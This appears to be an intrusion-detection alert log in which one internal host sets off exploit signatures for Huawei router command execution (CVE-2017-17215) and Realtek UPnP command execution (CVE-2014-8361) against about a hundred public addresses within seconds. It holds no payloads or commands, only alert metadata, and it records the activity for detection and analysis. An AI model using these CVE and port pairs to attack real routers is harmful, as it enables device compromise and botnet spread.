ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.93.149.174

Timestamp:	07/20/24-23:10:52.555606
SID:	2829579
Source Port:	32964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 87.49.15.99

Timestamp:	07/20/24-23:11:03.339788
SID:	2829579
Source Port:	50666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.204.52.71

Timestamp:	07/20/24-23:10:42.255257
SID:	2829579
Source Port:	40604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.20.234.243

Timestamp:	07/20/24-23:11:03.396755
SID:	2835222
Source Port:	33264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 217.150.234.15

Timestamp:	07/20/24-23:10:51.966763
SID:	2027339
Source Port:	35352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 211.42.169.91

Timestamp:	07/20/24-23:10:39.196095
SID:	2025132
Source Port:	34640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 116.118.210.76

Timestamp:	07/20/24-23:10:42.630640
SID:	2831300
Source Port:	54806
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 151.138.171.183

Timestamp:	07/20/24-23:10:47.883920
SID:	2027339
Source Port:	36094
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 17.132.101.117

Timestamp:	07/20/24-23:10:49.409236
SID:	2829579
Source Port:	42528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 70.33.189.136

Timestamp:	07/20/24-23:10:51.898652
SID:	2831300
Source Port:	50562
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 176.12.151.250

Timestamp:	07/20/24-23:10:46.865461
SID:	2835222
Source Port:	48062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.104.208.132

Timestamp:	07/20/24-23:10:41.230206
SID:	2829579
Source Port:	39516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.38.228.1

Timestamp:	07/20/24-23:10:52.581035
SID:	2829579
Source Port:	44428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 67.65.153.119

Timestamp:	07/20/24-23:10:39.202222
SID:	2025132
Source Port:	41184
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.108.168.224

Timestamp:	07/20/24-23:10:46.755097
SID:	2835222
Source Port:	52152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.80.252.89

Timestamp:	07/20/24-23:10:46.778936
SID:	2835222
Source Port:	51300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 201.121.155.5

Timestamp:	07/20/24-23:10:51.967169
SID:	2831300
Source Port:	48142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.216.252.34

Timestamp:	07/20/24-23:10:42.267551
SID:	2835222
Source Port:	44126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.0.82.115

Timestamp:	07/20/24-23:10:52.558618
SID:	2829579
Source Port:	56932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 64.61.109.158

Timestamp:	07/20/24-23:10:39.996007
SID:	2025132
Source Port:	57284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.206.83.67

Timestamp:	07/20/24-23:11:06.676715
SID:	2829579
Source Port:	60530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 57.196.110.109

Timestamp:	07/20/24-23:10:39.479427
SID:	2835222
Source Port:	41170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 46.169.99.175

Timestamp:	07/20/24-23:10:51.923394
SID:	2027339
Source Port:	35708
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 169.249.196.201

Timestamp:	07/20/24-23:10:40.065143
SID:	2027339
Source Port:	47514
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 82.183.236.197

Timestamp:	07/20/24-23:11:03.378464
SID:	2835222
Source Port:	41260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.167.57.151

Timestamp:	07/20/24-23:10:59.023708
SID:	2835222
Source Port:	45402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 76.120.98.58

Timestamp:	07/20/24-23:10:47.429430
SID:	2025132
Source Port:	44782
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.246.30.254

Timestamp:	07/20/24-23:11:06.689939
SID:	2835222
Source Port:	52606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 68.91.193.135

Timestamp:	07/20/24-23:10:41.231187
SID:	2829579
Source Port:	50234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 178.155.139.110

Timestamp:	07/20/24-23:10:43.830203
SID:	2027339
Source Port:	58454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 35.212.114.203

Timestamp:	07/20/24-23:10:52.005273
SID:	2027339
Source Port:	52650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 197.242.200.156

Timestamp:	07/20/24-23:10:51.969868
SID:	2831300
Source Port:	36862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 8.126.91.237

Timestamp:	07/20/24-23:10:42.625706
SID:	2027339
Source Port:	43008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 63.181.216.41

Timestamp:	07/20/24-23:10:45.247099
SID:	2025132
Source Port:	50042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 221.160.194.232

Timestamp:	07/20/24-23:10:51.966763
SID:	2831300
Source Port:	51428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 150.111.127.113

Timestamp:	07/20/24-23:10:59.094768
SID:	2835222
Source Port:	43908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 90.25.2.138

Timestamp:	07/20/24-23:10:43.793685
SID:	2025132
Source Port:	41340
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 164.163.203.10

Timestamp:	07/20/24-23:11:06.683012
SID:	2835222
Source Port:	52678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 137.150.64.194

Timestamp:	07/20/24-23:10:45.047768
SID:	2027339
Source Port:	44224
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.113.148.221

Timestamp:	07/20/24-23:10:46.735704
SID:	2829579
Source Port:	53204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 166.129.166.145

Timestamp:	07/20/24-23:10:39.430692
SID:	2829579
Source Port:	59080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.219.131.182

Timestamp:	07/20/24-23:11:06.662676
SID:	2835222
Source Port:	56732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 39.179.230.235

Timestamp:	07/20/24-23:10:52.581805
SID:	2835222
Source Port:	39590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.79.234.73

Timestamp:	07/20/24-23:11:06.678578
SID:	2829579
Source Port:	53772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.27.215.65

Timestamp:	07/20/24-23:10:55.915610
SID:	2829579
Source Port:	53646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.240.225.195

Timestamp:	07/20/24-23:10:59.050850
SID:	2829579
Source Port:	33050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 223.213.191.10

Timestamp:	07/20/24-23:10:51.992632
SID:	2831300
Source Port:	36096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 77.15.142.198

Timestamp:	07/20/24-23:10:52.021884
SID:	2831300
Source Port:	59256
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.233.118.212

Timestamp:	07/20/24-23:10:49.377081
SID:	2835222
Source Port:	43078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.22.166.123

Timestamp:	07/20/24-23:10:42.253017
SID:	2835222
Source Port:	33244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 144.40.158.145

Timestamp:	07/20/24-23:10:44.016301
SID:	2027339
Source Port:	59544
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 88.19.102.203

Timestamp:	07/20/24-23:11:06.686627
SID:	2829579
Source Port:	34024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 112.72.53.27

Timestamp:	07/20/24-23:10:51.902171
SID:	2027339
Source Port:	53964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.101.127.58

Timestamp:	07/20/24-23:10:39.493966
SID:	2829579
Source Port:	48076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.96.72.249

Timestamp:	07/20/24-23:10:59.055793
SID:	2829579
Source Port:	35712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.5.58.230

Timestamp:	07/20/24-23:10:41.227514
SID:	2829579
Source Port:	42428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.39.42.138

Timestamp:	07/20/24-23:10:39.478846
SID:	2829579
Source Port:	54142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.162.208.185

Timestamp:	07/20/24-23:10:39.487319
SID:	2829579
Source Port:	50200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.166.211.228

Timestamp:	07/20/24-23:10:42.267551
SID:	2835222
Source Port:	56776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 134.159.51.161

Timestamp:	07/20/24-23:10:51.915608
SID:	2831300
Source Port:	38824
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 25.16.163.132

Timestamp:	07/20/24-23:10:51.905303
SID:	2027339
Source Port:	52046
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.149.230.36

Timestamp:	07/20/24-23:10:39.478846
SID:	2835222
Source Port:	35092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 198.78.111.199

Timestamp:	07/20/24-23:10:45.545364
SID:	2027339
Source Port:	58380
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 178.226.102.10

Timestamp:	07/20/24-23:10:49.395188
SID:	2829579
Source Port:	49496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 221.241.44.77

Timestamp:	07/20/24-23:10:52.572631
SID:	2829579
Source Port:	58262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.214.13.158

Timestamp:	07/20/24-23:11:06.702559
SID:	2835222
Source Port:	59562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 173.213.209.100

Timestamp:	07/20/24-23:10:39.473748
SID:	2829579
Source Port:	35514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 143.46.197.220

Timestamp:	07/20/24-23:10:51.957773
SID:	2831300
Source Port:	47926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 72.101.131.182

Timestamp:	07/20/24-23:10:42.269853
SID:	2829579
Source Port:	37528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.55.126.137

Timestamp:	07/20/24-23:11:06.689939
SID:	2835222
Source Port:	60822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 195.250.121.139

Timestamp:	07/20/24-23:10:44.070152
SID:	2025132
Source Port:	60640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.220.171.96

Timestamp:	07/20/24-23:10:49.421978
SID:	2829579
Source Port:	42412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.103.136.234

Timestamp:	07/20/24-23:10:40.653603
SID:	2829579
Source Port:	37442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 166.151.137.80

Timestamp:	07/20/24-23:10:39.493966
SID:	2829579
Source Port:	43782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.185.22.151

Timestamp:	07/20/24-23:10:42.267699
SID:	2829579
Source Port:	36198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 129.180.104.22

Timestamp:	07/20/24-23:10:56.007995
SID:	2835222
Source Port:	45080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 148.178.43.17

Timestamp:	07/20/24-23:10:48.350471
SID:	2025132
Source Port:	40574
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.51.245.125

Timestamp:	07/20/24-23:10:52.607833
SID:	2835222
Source Port:	60932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.5.164.72

Timestamp:	07/20/24-23:10:39.478846
SID:	2835222
Source Port:	49010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.210.234.155

Timestamp:	07/20/24-23:10:41.231287
SID:	2835222
Source Port:	36850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 42.146.219.162

Timestamp:	07/20/24-23:10:51.957773
SID:	2027339
Source Port:	36992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 57.100.65.212

Timestamp:	07/20/24-23:10:44.234530
SID:	2025132
Source Port:	54544
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.55.63.232

Timestamp:	07/20/24-23:10:41.231521
SID:	2829579
Source Port:	44828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 170.114.65.210

Timestamp:	07/20/24-23:11:06.663147
SID:	2835222
Source Port:	58606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 57.98.148.229

Timestamp:	07/20/24-23:10:43.627792
SID:	2027339
Source Port:	44342
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.76.73.5

Timestamp:	07/20/24-23:10:40.616009
SID:	2829579
Source Port:	60454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.22.160.234

Timestamp:	07/20/24-23:10:41.232616
SID:	2829579
Source Port:	47306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.141.241.10

Timestamp:	07/20/24-23:11:06.663147
SID:	2829579
Source Port:	35622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 8.190.85.240

Timestamp:	07/20/24-23:10:44.478714
SID:	2025132
Source Port:	58220
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.48.119.194

Timestamp:	07/20/24-23:10:49.370142
SID:	2829579
Source Port:	38146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.44.248.238

Timestamp:	07/20/24-23:11:03.394674
SID:	2829579
Source Port:	47010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.130.206.169

Timestamp:	07/20/24-23:10:52.572631
SID:	2835222
Source Port:	55502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 161.93.54.6

Timestamp:	07/20/24-23:10:51.950746
SID:	2027339
Source Port:	54044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.252.98.245

Timestamp:	07/20/24-23:10:56.006442
SID:	2829579
Source Port:	52798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.205.44.138

Timestamp:	07/20/24-23:11:06.657863
SID:	2829579
Source Port:	40578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 121.181.18.104

Timestamp:	07/20/24-23:10:51.995612
SID:	2027339
Source Port:	53512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 187.182.235.57

Timestamp:	07/20/24-23:10:42.642008
SID:	2831300
Source Port:	43394
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.150.96.161

Timestamp:	07/20/24-23:10:59.028826
SID:	2829579
Source Port:	60378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.96.51.43

Timestamp:	07/20/24-23:10:59.032609
SID:	2829579
Source Port:	52366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 34.2.61.34

Timestamp:	07/20/24-23:10:51.948284
SID:	2831300
Source Port:	32966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.34.3.219

Timestamp:	07/20/24-23:10:49.380109
SID:	2829579
Source Port:	56500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 119.6.246.136

Timestamp:	07/20/24-23:10:51.950747
SID:	2027339
